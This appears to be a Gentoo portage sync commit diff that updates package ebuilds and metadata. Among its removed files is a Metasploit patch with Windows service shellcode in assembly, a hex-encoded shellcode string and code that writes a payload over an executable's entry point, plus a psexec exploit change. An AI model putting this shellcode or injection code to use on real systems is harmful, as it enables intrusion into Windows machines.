Sync with portage [Sun Oct 4 09:11:00 MSK 2015].

mhiretskiy 56
root 9 years ago
parent ec344e2306
commit 50a9b7b4b6

@ -14,7 +14,8 @@ SLOT="0"
KEYWORDS="amd64 ppc x86"
IUSE=""
DEPEND="dev-libs/openssl"
DEPEND="dev-libs/openssl:0="
RDEPEND=${DEPEND}
S=${WORKDIR}/circle-${PV}

@ -3,7 +3,7 @@
# $Id$
EAPI=5
inherit eutils
inherit autotools eutils
DESCRIPTION="A lightweight GTK image viewer forked from GQview"
HOMEPAGE="http://www.geeqie.org"
@ -32,6 +32,8 @@ DEPEND="${RDEPEND}
src_prepare() {
epatch_user
eautoreconf
}
src_configure() {

@ -1 +1,2 @@
DIST pasystray-0.2.1.tar.bz2 100456 SHA256 d24fe23773e0a25fd32aefe101bb703ca42a487c8e25411c831621332cee61a7 SHA512 db7c05c2eb5fd3dada2e3c23f28978497d17a2147078390ab3e8c88654c4bd8ce48d07a15e9a5b3834acffcc2d86fa719ce2403255915bdfb2eb610bd0549041 WHIRLPOOL 71e4519b9bf6012e770820cf1a72bfb875a34eb87e74eab87edc4a18e01d88ecabf56b88e30686ae409d6fe2456a1058a3194ce539e72934410ba402d72cdd22
DIST pasystray-0.5.2.tar.gz 51738 SHA256 0cb574843bd7883c51291de03cca237e53a89821d6965c8413dd89e42d8ffc3e SHA512 ef305f354e7e012bb3cf999e7e91b7d1ed2298f633fa67270f9998cb95476460e65a7e3c7fb512da69928ed6ad6579e2c97c4cbf74016e868415f4ba875e0aa7 WHIRLPOOL bbf6cbc416a452ae25495b9a68e153a13ad24cf085462caa18936253addbf1d83cea22fef07de94b16c7c8466944418f3a0389e54bae8be94edae019d79392fe

@ -2,6 +2,12 @@
<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
<pkgmetadata>
<herd>sound</herd>
<herd>proxy-maintainers</herd>
<maintainer>
<email>lists@xunil.at</email>
<name>Stefan Weichinger</name>
<description>Proxy maintainer</description>
</maintainer>
<upstream>
<remote-id type="github">christophgysin/pasystray</remote-id>
</upstream>

@ -0,0 +1,46 @@
# Copyright 1999-2015 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
EAPI=5
inherit gnome2-utils autotools
DESCRIPTION="PulseAudio system tray"
HOMEPAGE="https://github.com/christophgysin/pasystray"
SRC_URI="https://github.com/christophgysin/${PN}/archive/${P}.tar.gz"
LICENSE="LGPL-2.1"
SLOT="0"
KEYWORDS="~amd64 ~x86"
IUSE="libnotify"
RDEPEND="
>=media-sound/pulseaudio-5.0-r3[glib,zeroconf]
>=net-dns/avahi-0.6
x11-libs/gtk+:3
x11-libs/libX11
libnotify? ( >=x11-libs/libnotify-0.7 )
"
DEPEND="${RDEPEND}
virtual/pkgconfig"
DOCS="AUTHORS README.md TODO"
S=${WORKDIR}/${PN}-${P}
src_prepare() {
eautoreconf
}
src_configure() {
econf $(use_enable libnotify notify)
sed -i -e 's:volume:volume;:' "data/pasystray.desktop"
}
src_install() {
emake DESTDIR="${D}" install
dodoc ${DOCS}
doman man/pasystray.1
}
pkg_preinst() { gnome2_icon_savelist; }
pkg_postinst() { gnome2_icon_cache_update; }
pkg_postrm() { gnome2_icon_cache_update; }

@ -1,4 +1,4 @@
# Copyright 1999-2009 Gentoo Foundation
# Copyright 1999-2015 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
@ -12,7 +12,7 @@ VAR_DIR="/var/vdr/tvmovie2vdr"
SHARE_DIR="/usr/share/${PN}"
DESCRIPTION="load the program guide from tvmovie and others to vdr"
HOMEPAGE="http://steckrue.be/tvm2vdr/"
HOMEPAGE="https://wiki.gentoo.org/wiki/No_homepage"
SRC_URI="http://steckrue.be/download/${P}.tar.gz"
LICENSE="GPL-2"

@ -1 +1 @@
Sat, 03 Oct 2015 19:48:21 +0000
Sun, 04 Oct 2015 05:41:23 +0000

@ -1 +1 @@
Sat, 03 Oct 2015 19:48:21 +0000
Sun, 04 Oct 2015 05:41:24 +0000

@ -1,12 +1,12 @@
DEFINED_PHASES=compile configure install postinst preinst prepare setup unpack
DEPEND=dev-libs/openssl
DEPEND=dev-libs/openssl:0=
DESCRIPTION=a multi-user dungeon game system server
EAPI=5
HOMEPAGE=http://www.circlemud.org/
KEYWORDS=amd64 ppc x86
LICENSE=circlemud
RDEPEND=games-misc/games-envd
RDEPEND=dev-libs/openssl:0= games-misc/games-envd
SLOT=0
SRC_URI=http://www.circlemud.org/pub/CircleMUD/3.x/circle-3.1.tar.bz2
_eclasses_=base 84d9f879f57a8316ff02be0373a3d6f9 eutils 43da5163ba106e87d22d2e7d6d67537f games ce18d731b1dfae17561d847a24ca08c2 multilib df4e4d5cfd3d137d0c248e1991c0e4d6 toolchain-funcs 1dfcad7b3f439dbc511d76c49f23da0d user 906f3c8eb3a2350a4f1191a89baa3e46
_md5_=4608f353ac5445931e8432de254e6980
_md5_=22a1e3e334916d5e39177863c3408c4e

@ -1,5 +1,5 @@
DEFINED_PHASES=configure install postinst prepare
DEPEND=gtk3? ( x11-libs/gtk+:3 ) !gtk3? ( x11-libs/gtk+:2 ) virtual/libintl doc? ( app-text/gnome-doc-utils ) jpeg? ( virtual/jpeg:0 ) lcms? ( media-libs/lcms:2 ) lirc? ( app-misc/lirc ) lua? ( >=dev-lang/lua-5.1:= ) xmp? ( >=media-gfx/exiv2-0.17:=[xmp] ) !xmp? ( exif? ( >=media-gfx/exiv2-0.17 ) ) tiff? ( media-libs/tiff:0 ) virtual/pkgconfig dev-util/intltool sys-devel/gettext
DEPEND=gtk3? ( x11-libs/gtk+:3 ) !gtk3? ( x11-libs/gtk+:2 ) virtual/libintl doc? ( app-text/gnome-doc-utils ) jpeg? ( virtual/jpeg:0 ) lcms? ( media-libs/lcms:2 ) lirc? ( app-misc/lirc ) lua? ( >=dev-lang/lua-5.1:= ) xmp? ( >=media-gfx/exiv2-0.17:=[xmp] ) !xmp? ( exif? ( >=media-gfx/exiv2-0.17 ) ) tiff? ( media-libs/tiff:0 ) virtual/pkgconfig dev-util/intltool sys-devel/gettext !<sys-devel/gettext-0.18.1.1-r3 || ( >=sys-devel/automake-1.15:1.15 ) >=sys-devel/autoconf-2.69 >=sys-devel/libtool-2.4
DESCRIPTION=A lightweight GTK image viewer forked from GQview
EAPI=5
HOMEPAGE=http://www.geeqie.org
@ -9,5 +9,5 @@ LICENSE=GPL-2
RDEPEND=gtk3? ( x11-libs/gtk+:3 ) !gtk3? ( x11-libs/gtk+:2 ) virtual/libintl doc? ( app-text/gnome-doc-utils ) jpeg? ( virtual/jpeg:0 ) lcms? ( media-libs/lcms:2 ) lirc? ( app-misc/lirc ) lua? ( >=dev-lang/lua-5.1:= ) xmp? ( >=media-gfx/exiv2-0.17:=[xmp] ) !xmp? ( exif? ( >=media-gfx/exiv2-0.17 ) ) tiff? ( media-libs/tiff:0 )
SLOT=0
SRC_URI=http://www.geeqie.org/geeqie-1.2.2.tar.xz
_eclasses_=eutils 43da5163ba106e87d22d2e7d6d67537f multilib df4e4d5cfd3d137d0c248e1991c0e4d6 toolchain-funcs 1dfcad7b3f439dbc511d76c49f23da0d
_md5_=049c799853953533a910ce9679bd3fe2
_eclasses_=autotools 542bf3f83917668f3893f4da1ca238ff eutils 43da5163ba106e87d22d2e7d6d67537f libtool 7f78cd7d403808a350c9ae23f5821fb4 multilib df4e4d5cfd3d137d0c248e1991c0e4d6 toolchain-funcs 1dfcad7b3f439dbc511d76c49f23da0d
_md5_=97a92430dd777c9a6e279af9651c24ef

@ -0,0 +1,13 @@
DEFINED_PHASES=configure install postinst postrm preinst prepare
DEPEND=>=media-sound/pulseaudio-5.0-r3[glib,zeroconf] >=net-dns/avahi-0.6 x11-libs/gtk+:3 x11-libs/libX11 libnotify? ( >=x11-libs/libnotify-0.7 ) virtual/pkgconfig >=sys-apps/sed-4 !<sys-devel/gettext-0.18.1.1-r3 || ( >=sys-devel/automake-1.15:1.15 ) >=sys-devel/autoconf-2.69 >=sys-devel/libtool-2.4
DESCRIPTION=PulseAudio system tray
EAPI=5
HOMEPAGE=https://github.com/christophgysin/pasystray
IUSE=libnotify
KEYWORDS=~amd64 ~x86
LICENSE=LGPL-2.1
RDEPEND=>=media-sound/pulseaudio-5.0-r3[glib,zeroconf] >=net-dns/avahi-0.6 x11-libs/gtk+:3 x11-libs/libX11 libnotify? ( >=x11-libs/libnotify-0.7 )
SLOT=0
SRC_URI=https://github.com/christophgysin/pasystray/archive/pasystray-0.5.2.tar.gz
_eclasses_=autotools 542bf3f83917668f3893f4da1ca238ff gnome2-utils 44555579e85afa5c035d2bd5428252da libtool 7f78cd7d403808a350c9ae23f5821fb4 multilib df4e4d5cfd3d137d0c248e1991c0e4d6 toolchain-funcs 1dfcad7b3f439dbc511d76c49f23da0d
_md5_=3eac7f799be84d8336335fbf5d222047

@ -1,11 +1,11 @@
DEFINED_PHASES=compile install postinst
DEPEND=>=media-video/vdr-1.2.0 >=dev-perl/DateManip-5.42a-r1 >=virtual/perl-IO-Compress-1.22 >=dev-perl/Archive-Zip-1.14 >=dev-perl/Text-Iconv-1.4 >=dev-perl/libwww-perl-5.69-r2 >=dev-perl/HTML-Parser-3.34-r1 >=dev-perl/HTML-Scrubber-0.08 >=dev-perl/HTML-TableContentParser-0.13 >=dev-perl/XML-Simple-DTDReader-0.03 >=media-gfx/imagemagick-6.2.2.3 dev-perl/DateManip dev-perl/XML-Simple-DTDReader
DESCRIPTION=load the program guide from tvmovie and others to vdr
HOMEPAGE=http://steckrue.be/tvm2vdr/
HOMEPAGE=https://wiki.gentoo.org/wiki/No_homepage
KEYWORDS=x86
LICENSE=GPL-2
RDEPEND=>=media-video/vdr-1.2.0 >=dev-perl/DateManip-5.42a-r1 >=virtual/perl-IO-Compress-1.22 >=dev-perl/Archive-Zip-1.14 >=dev-perl/Text-Iconv-1.4 >=dev-perl/libwww-perl-5.69-r2 >=dev-perl/HTML-Parser-3.34-r1 >=dev-perl/HTML-Scrubber-0.08 >=dev-perl/HTML-TableContentParser-0.13 >=dev-perl/XML-Simple-DTDReader-0.03 >=media-gfx/imagemagick-6.2.2.3 dev-perl/DateManip dev-perl/XML-Simple-DTDReader
SLOT=0
SRC_URI=http://steckrue.be/download/tvmovie2vdr-0.5.13.tar.gz
_eclasses_=eutils 43da5163ba106e87d22d2e7d6d67537f multilib df4e4d5cfd3d137d0c248e1991c0e4d6 toolchain-funcs 1dfcad7b3f439dbc511d76c49f23da0d
_md5_=bf7318f2a5525d998029616ddc32c259
_md5_=ae2b6a557d9ef66be1ce2c036d71c365

@ -1,9 +0,0 @@
DEFINED_PHASES=install postinst postrm
DESCRIPTION=Advanced open-source framework for developing, testing, and using vulnerability exploit code
HOMEPAGE=http://www.metasploit.org/
KEYWORDS=amd64 ppc x86
LICENSE=GPL-2 Artistic
RDEPEND=dev-lang/perl dev-perl/Net-SSLeay dev-perl/Term-ReadLine-Perl dev-perl/TermReadKey
SLOT=0
SRC_URI=http://metasploit.com/tools/framework-2.7.tar.gz
_md5_=99f9f2312b8c006c2ef545bcb0f8966f

@ -0,0 +1,12 @@
DEFINED_PHASES=compile configure install prepare test
DEPEND=virtual/pkgconfig sci-libs/fftw:3.0= dev-qt/qtwidgets:5 dev-qt/qtgui:5 dev-qt/qtcore:5 sys-devel/make >=dev-util/cmake-2.8.12 userland_GNU? ( >=sys-apps/findutils-4.4.0 )
DESCRIPTION=a tool for analysing captured signals, primarily from software-defined radio receivers
EAPI=5
HOMEPAGE=https://github.com/miek/inspectrum
KEYWORDS=~amd64 ~x86
LICENSE=GPL-3+
RDEPEND=sci-libs/fftw:3.0= dev-qt/qtwidgets:5 dev-qt/qtgui:5 dev-qt/qtcore:5
SLOT=0
SRC_URI=https://github.com/miek/inspectrum/archive/v0.1.tar.gz -> inspectrum-0.1.tar.gz
_eclasses_=cmake-utils f474224ef49d530640a43a04ae94928e eutils 43da5163ba106e87d22d2e7d6d67537f flag-o-matic 85dc1eac3c64d8141374490ed64122e5 multilib df4e4d5cfd3d137d0c248e1991c0e4d6 toolchain-funcs 1dfcad7b3f439dbc511d76c49f23da0d
_md5_=87326b95a5ad24941e1606c907b480ba

@ -7,4 +7,4 @@ LICENSE=GPL-3+
RDEPEND=sci-libs/fftw:3.0= dev-qt/qtwidgets:5 dev-qt/qtgui:5 dev-qt/qtcore:5
SLOT=0
_eclasses_=cmake-utils f474224ef49d530640a43a04ae94928e eutils 43da5163ba106e87d22d2e7d6d67537f flag-o-matic 85dc1eac3c64d8141374490ed64122e5 git-r3 1502b9838d043db47700b8120083e637 multilib df4e4d5cfd3d137d0c248e1991c0e4d6 toolchain-funcs 1dfcad7b3f439dbc511d76c49f23da0d
_md5_=fea20e95d5bebd8d9dad81f92879befa
_md5_=87326b95a5ad24941e1606c907b480ba

@ -0,0 +1,14 @@
DEFINED_PHASES=compile install postinst postrm preinst setup test unpack
DEPEND=!build? ( sys-apps/sed >=sys-devel/binutils-2.11.90.0.31 ) deblob? ( || ( >=dev-lang/python-2.7.5-r2:2.7 ) )
DESCRIPTION=Full sources including the Gentoo patchset for the 3.18 kernel tree
EAPI=5
HOMEPAGE=https://dev.gentoo.org/~mpagano/genpatches
IUSE=deblob experimental symlink build deblob
KEYWORDS=~alpha ~amd64 ~arm ~arm64 -hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86
LICENSE=GPL-2 !deblob? ( freedist )
RDEPEND=!build? ( >=sys-libs/ncurses-5.2 sys-devel/make dev-lang/perl sys-devel/bc )
RESTRICT=binchecks strip
SLOT=3.18.22
SRC_URI=mirror://kernel/linux/kernel/v3.x/linux-3.18.tar.xz deblob? ( http://www.fsfla.org/svn/fsfla/software/linux-libre/releases/tags/3.18-gnu/deblob-3.18 http://www.fsfla.org/svn/fsfla/software/linux-libre/releases/tags/3.18-gnu/deblob-check -> deblob-check-3.18 ) mirror://gentoo/genpatches-3.18-22.base.tar.xz mirror://gentoo/genpatches-3.18-22.extras.tar.xz experimental? ( mirror://gentoo/genpatches-3.18-22.experimental.tar.xz )
_eclasses_=eutils 43da5163ba106e87d22d2e7d6d67537f kernel-2 ee90c4695302427bac0b9e2d70098d81 multilib df4e4d5cfd3d137d0c248e1991c0e4d6 python-any-r1 b81ab4852d108e3d9c940fa03bce80e1 python-utils-r1 39c6b012a0512678e698e712b5b7ecc2 toolchain-funcs 1dfcad7b3f439dbc511d76c49f23da0d versionator 99ae9d758cbe7cfed19170e7d48f5a9c
_md5_=0d4459f9383d64edc52b76140bf7fc9b

@ -1 +1 @@
Sat, 03 Oct 2015 19:48:22 +0000
Sun, 04 Oct 2015 05:41:24 +0000

@ -1 +1 @@
Sat Oct 3 19:48:21 UTC 2015
Sun Oct 4 05:41:23 UTC 2015

@ -1 +1 @@
Sat, 03 Oct 2015 20:00:01 +0000
Sun, 04 Oct 2015 06:00:01 +0000

@ -1 +1 @@
1443901501 Sat 03 Oct 2015 07:45:01 PM UTC
1443937201 Sun 04 Oct 2015 05:40:01 AM UTC

@ -1,2 +1 @@
DIST framework-2.7.tar.gz 5800216 SHA256 516952772aaa8982628460b927c9119850925f870903c5a131a9c9f0390cf77f SHA512 a65740c81e6c711e6661170ec0dd87919cad6c4aa3aaac08fdaa72b4825be4bea28ec09c78f818ddab7660f5b485b13f87e3175b43c625319ce89b044a40f2a0 WHIRLPOOL f309608e30488484b24555fec84e65ed0dcbeba62a69e6ec23c507dbc0fcf720551a795e2a0793886fcd38d3a9b160819c864720155f58f274577b0246f05946
DIST metasploit-4.11.4_p2015090201.tar.gz 35211994 SHA256 1254dbb3e8cf33c7a6c8c701a0be13f78bbd2234503e636f1afacf88676aeea2 SHA512 b96c9735ef579b5f98d1fd7176f91bb1710d263a19d3ff891877df8e341baa1749d5fdce9825a19d9ecbe162b72ebcd11336d4d7884e066f4e199baaff8b4085 WHIRLPOOL 875db5df25112736dd62ec1195080d2567a670cf3a770e787b70c364c6b30b43bf906f7ba35901ff367ce940b02af7b17ae135693a28ff5fca9fc05038132ae2

@ -1,219 +0,0 @@
diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm
--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm 1970-01-01 01:00:00.000000000 +0100
+++ metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm 2013-11-20 11:50:48.256366095 +0100
@@ -0,0 +1,64 @@
+;-----------------------------------------------------------------------------;
+; Author: agix (florian.gaultier[at]gmail[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Size: 137 bytes
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+; Input: EBP must be the address of 'api_call'.
+
+push byte 0x0
+push 0x32336970
+push 0x61766461
+push esp
+push 0x726774c
+call ebp ;load advapi32.dll
+push 0x00454349
+push 0x56524553
+mov ecx, esp ;ServiceTableEntry.SVCNAME
+lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
+push 0x00000000
+push eax
+push ecx
+mov eax,esp
+push 0x00000000
+push eax
+push 0xCB72F7FA
+call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
+push 0x00000000
+push 0x56A2B5F0
+call ebp ;call ExitProcess(0)
+pop eax ;SvcCtrlHandler
+pop eax
+pop eax
+pop eax
+xor eax,eax
+ret
+cld ;SvcMain
+call me
+me:
+pop ebp
+sub ebp, 0xd6 ;ebp => hashFunction
+push 0x00464349
+push 0x56524553
+mov ecx, esp ;SVCNAME
+lea eax, [ebp+0xc9];SvcCtrlHandler
+push 0x00000000
+push eax
+push ecx
+push 0x5244AA0B
+call ebp ;RegisterServiceCtrlHandlerExA
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000004
+push 0x00000010
+mov ecx, esp
+push 0x00000000
+push ecx
+push eax
+push 0x7D3755C6
+call ebp ;SetServiceStatus RUNNING
\ No newline at end of file
diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm
--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 1970-01-01 01:00:00.000000000 +0100
+++ metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 2013-11-20 11:50:48.256366095 +0100
@@ -0,0 +1,17 @@
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (28 July 2009)
+; Size: 189 bytes + strlen(libpath) + 1
+; Build: >build.py single_service_stuff
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+[ORG 0]
+
+ cld ; Clear the direction flag.
+ call start ; Call start, this pushes the address of 'api_call' onto the stack.
+%include "./src/block/block_api.asm"
+start: ;
+ pop ebp ; pop off the address of 'api_call' for calling later.
+%include "./src/block/block_service.asm"
\ No newline at end of file
diff -Naur metasploit-9999.orig/lib/msf/util/exe.rb metasploit-9999/lib/msf/util/exe.rb
--- metasploit-9999.orig/lib/msf/util/exe.rb 2013-11-20 11:50:31.748365346 +0100
+++ metasploit-9999/lib/msf/util/exe.rb 2013-11-20 11:50:48.256366095 +0100
@@ -402,36 +402,86 @@
case opts[:exe_type]
when :service_exe
+ exe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
max_length = 8192
name = opts[:servicename]
- if name
- bo = pe.index('SERVICENAME')
- raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
- pe[bo, 11] = [name].pack('a11')
+ if not name
+ name = Rex::Text.rand_text_alpha(7)
end
-
- if not opts[:sub_method]
- pe[136, 4] = [rand(0x100000000)].pack('V')
+ #code_service could be encoded in the future
+ code_service =
+ "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
+ "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
+ "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
+ "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
+ "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
+ "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
+ "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
+ "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
+ "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
+ "\x26\x07\xFF\xD5\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1" +
+ "\x8D\x85\xD0\x00\x00\x00\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
+ "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
+ "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED\xD6" +
+ "\x00\x00\x00\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1\x8D" +
+ "\x85\xC9\x00\x00\x00\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
+ "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
+ "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5"
+
+ pe_header_size=0x18
+ section_size=0x28
+ characteristics_offset=0x24
+ virtualAddress_offset=0xc
+ sizeOfRawData_offset=0x10
+
+ sections_table_rva = exe._dos_header.v['e_lfanew']+exe._file_header.v['SizeOfOptionalHeader']+pe_header_size
+ sections_table_offset = exe.rva_to_file_offset(sections_table_rva)
+ sections_table_characteristics_offset = exe.rva_to_file_offset(sections_table_rva+characteristics_offset)
+
+ sections_header = []
+ exe._file_header.v['NumberOfSections'].times { |i|
+ sections_header << [sections_table_characteristics_offset+(i*section_size),pe[sections_table_offset+(i*section_size),section_size]]
+ }
+
+ #look for section with entry point
+ sections_header.each do |sec|
+ virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
+ sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
+ characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
+ if exe.hdr.opt.AddressOfEntryPoint >= virtualAddress && exe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
+ #put this section writable
+ characteristics|=0x80000000
+ newcharacteristics = [characteristics].pack('L')
+ pe[sec[0],newcharacteristics.length]=newcharacteristics
+ end
end
+
+ #put the shellcode at the entry point, overwriting template
+ pe[exe.rva_to_file_offset(exe.hdr.opt.AddressOfEntryPoint),code_service.length+code.length]=code_service+code
+
when :dll
max_length = 2048
when :exe_sub
max_length = 4096
end
- bo = pe.index('PAYLOAD:')
- raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
+ if opts[:exe_type] != :service_exe
- if (code.length <= max_length)
- pe[bo, code.length] = [code].pack("a*")
- else
- raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
- end
+ bo = pe.index('PAYLOAD:')
+ raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
- if opts[:exe_type] == :dll
- mt = pe.index('MUTEX!!!')
- pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
+ if (code.length <= max_length)
+ pe[bo, code.length] = [code].pack("a*")
+ else
+ raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
+ end
+
+ if opts[:exe_type] == :dll
+ mt = pe.index('MUTEX!!!')
+ pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
+ end
end
return pe
@@ -463,7 +513,7 @@
def self.to_win32pe_service(framework, code, opts={})
# Allow the user to specify their own service EXE template
- set_template_default(opts, "template_x86_windows_svc.exe")
+ set_template_default(opts, "template_x86_windows.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
diff -Naur metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb metasploit-9999/modules/exploits/windows/smb/psexec.rb
--- metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:31.988365357 +0100
+++ metasploit-9999/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:48.256366095 +0100
@@ -153,7 +153,7 @@
# Disconnect from the ADMIN$
simple.disconnect("ADMIN$")
else
- servicename = rand_text_alpha(8)
+ servicename = rand_text_alpha(7)
# Upload the shellcode to a file
print_status("Uploading payload...")

@ -1,224 +0,0 @@
/* XPM */
static char *metasploit[] = {
/* columns rows colors chars-per-pixel */
"48 48 170 2 ",
" c #000000",
". c #0B0B0B",
"X c #131313",
"o c #1C1C1C",
"O c #251B0D",
"+ c #2C2112",
"@ c #2C241C",
"# c #081933",
"$ c #061F3B",
"% c #07203C",
"& c #09223C",
"* c #232323",
"= c #2D2D2D",
"- c #353535",
"; c #383838",
": c #0C2141",
"> c #0F264C",
", c #0F284D",
"< c #072755",
"1 c #082754",
"2 c #062855",
"3 c #0E2C57",
"4 c #072858",
"5 c #0D2F5C",
"6 c #033A6E",
"7 c #1A3166",
"8 c #043C72",
"9 c #2F456F",
"0 c #2A4174",
"q c #314774",
"w c #314A75",
"e c #424242",
"r c #444A5F",
"t c #545454",
"y c #5B5B5B",
"u c #414B60",
"i c #515A6F",
"p c #4B6975",
"a c #416679",
"s c #46697B",
"d c #4D6D7C",
"f c #636363",
"g c #686868",
"h c #727272",
"j c #7B7B7B",
"k c #B37777",
"l c #C76852",
"z c #F26E40",
"x c #C77A6F",
"c c #DA8D75",
"v c #023986",
"b c #002F99",
"n c #043296",
"m c #043898",
"M c #0038A0",
"N c #094089",
"B c #1C4583",
"V c #194997",
"C c #1E4E9F",
"Z c #215192",
"A c #225A9F",
"S c #3D5C98",
"D c #3B6F8A",
"F c #0D43AD",
"G c #1F4EA2",
"H c #1F4EAA",
"J c #1753BB",
"K c #1852B9",
"L c #224FA8",
"P c #2450A4",
"I c #2E55A0",
"U c #2755AD",
"Y c #2956AE",
"T c #3464A5",
"R c #2963BC",
"E c #466E81",
"W c #447082",
"Q c #6C739A",
"! c #4471B1",
"~ c #4873B6",
"^ c #4870BB",
"/ c #4D78BA",
"( c #0D53C3",
") c #1866C9",
"_ c #046EDB",
"` c #126FD4",
"' c #0C73DD",
"] c #3767C7",
"[ c #326AC2",
"{ c #3D75C4",
"} c #3574C8",
"| c #3B74C9",
" . c #3E79CC",
".. c #2F74D3",
"X. c #3B7BD0",
"o. c #006EE5",
"O. c #0479E5",
"+. c #0074E9",
"@. c #087EEC",
"#. c #1479E1",
"$. c #497AC7",
"%. c #447BCD",
"&. c #487FD2",
"*. c #5B84A8",
"=. c #3B82DA",
"-. c #0C86EF",
";. c #1F80E5",
":. c #1393F9",
">. c #1C99FB",
",. c #348FEC",
"<. c #3290E5",
"1. c #3491EB",
"2. c #2490F3",
"3. c #279EFD",
"4. c #3CA8FF",
"5. c #5394D2",
"6. c #758FC3",
"7. c #689AD3",
"8. c #7399D1",
"9. c #4090E6",
"0. c #4990E4",
"q. c #4694EB",
"w. c #559BED",
"e. c #4B9BF1",
"r. c #539FF3",
"t. c #45A4FD",
"y. c #47AAFA",
"u. c #56A0F4",
"i. c #5AA4F5",
"p. c #5CA6F8",
"a. c #56B5FD",
"s. c #71A3E1",
"d. c #65AFFB",
"f. c #66B7FF",
"g. c #68B7FF",
"h. c #6CC2FF",
"j. c #70C9FF",
"k. c #7CD7FF",
"l. c #7ED9FF",
"z. c #838383",
"x. c #8B8B8B",
"c. c #939393",
"v. c #9D9D9D",
"b. c #B18A8B",
"n. c #9193AB",
"m. c #A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${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

@ -3,7 +3,7 @@
# Distributed under the terms of the GNU General Public License v2
# $Id$
VERSION=4.3
VERSION=4.11
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {

@ -1,25 +0,0 @@
# Config file for /etc/init.d/msfrpcd
# msfrpcd -h for more info
# Bind to the following IP instead of 0.0.0.0
MSF_OPTS="-a 127.0.0.1"
# Bind to the following TCP port instead of default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

